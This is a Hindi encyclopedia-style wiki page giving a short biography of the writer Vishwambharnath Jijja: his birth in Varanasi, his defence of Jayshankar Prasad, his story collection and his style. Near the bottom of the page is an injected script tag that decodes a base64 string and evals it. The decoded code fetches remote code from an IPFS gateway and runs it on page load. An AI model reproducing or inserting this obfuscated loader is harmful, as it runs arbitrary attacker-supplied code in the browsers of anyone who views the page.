विश्वंभरनाथ जिज्जा

भारत डिस्कवरी प्रस्तुति
Revision as of 07:30, 15 June 2015 by रविन्द्र प्रसाद (talk | contribs) (''''विश्वंभरनाथ जिज्जा''' (जन्म- सन 1905 ई., वाराणसी, [[उत्त...' के साथ नया पन्ना बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

विश्वंभरनाथ जिज्जा (जन्म- सन 1905 ई., वाराणसी, उत्तर प्रदेश) भारत के प्रसिद्ध लेखकों में गिने जाते थे। 'प्रसाद युग' के साहित्यकारों में, विशेषकर पत्रकारों और कहानीकारों में जिज्जाजी का नाम महत्त्वपूर्ण रहा है। उनकी कहानियाँ केवल कल्पना के आधार पर विचित्र मन:स्थितियों का परिचय दिलाती है। भाषा की दृष्टि से विश्वंभरनाथ जिज्जा प्राय: बोधगम्य और शब्दवैभव की दृष्टि से काफ़ी मुक्त लेखकों में कहे जा सकते हैं।

परिचय

विश्वंभरनाथ जिज्जा का जन्म सन 1905 में वाराणसी (वर्तमान बनारस) में हुआ था। जयशंकर प्रसाद के नाटकों और कहानियों में सर्वथा नये शिल्प और प्राचीन ऐतिहासिकता को लेकर जब पुराने आलोचकों ने एक ओर से कटु आलोचनाएँ की थीं तो विश्वंभरनाथ जिज्जा, नंददुलारे वाजपेयी तथा शांतिप्रिय द्विवेदी जैसे आलोचकों और लेखकों ने उन आलोचनाओं का खण्डन और नयी संवेदना का समर्थन सशक्त ढंग से प्रस्तुत किया था।

कहानी संग्रह

इनके कहानी संग्रह ‘घूँघटवाली’ की कई कहानियों से उस समय के भावबोध का पूर्ण परिचय मिलता है। विश्वंभरनाथ जिज्जा की कहानियों में विशिष्ट रोमानी तत्त्वों की अपेक्षा कुछ साधारण स्तर के अतिशय ‘कामन प्लेन’ तत्त्व अधिक मिलते हैं। जिज्जाजी की कहानियाँ केवल कल्पना के आधार पर विचित्र मन:स्थितियों का परिचय दिलाती है। उनको मार्मिक स्तर तक पहुँचाने में वे प्राय: असमर्थ सिद्ध होती हैं। उन्होंने अपने युवा काल में ही ये कृतियाँ लिखी हैं। इसीलिए उनमें दृष्टि की वह प्रौढ़ता नहीं है, जो किसी भी कुशल साहित्यकार में अपेक्षित है। विश्वंभरनाथ जिज्जा ने कुछ दिनों तक प्रयाग (वर्तमान इलाहाबाद) के ‘भारत’ में सहायक सम्पादक का कार्य भी किया था।

भाषा-शैली

भाषा की दृष्टि से विश्वंभरनाथ जिज्जा प्राय: बोधगम्य और शब्दवैभव की दृष्टि से काफ़ी मुक्त लेखकों में कहे जा सकते हैं। शिल्प की दृष्टि से यदि जिज्जा की रचनाओं का विश्लेषण किया जाए तो उनका विशेष महत्त्व नहीं जान पड़ता। केवल एक ऐतिहासिक क्रम में सर्वथा प्रचलित परम्परा से थोड़ा आगे बढ़कर लिख सकने के साहस के कारण ही उनका महत्त्व हो जाता है। उनकी लेखन शैली साधारण और विचार भावुकतापूर्ण है। इसीलिए उसके बीच शिल्प की नवीनता छिप जाती है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः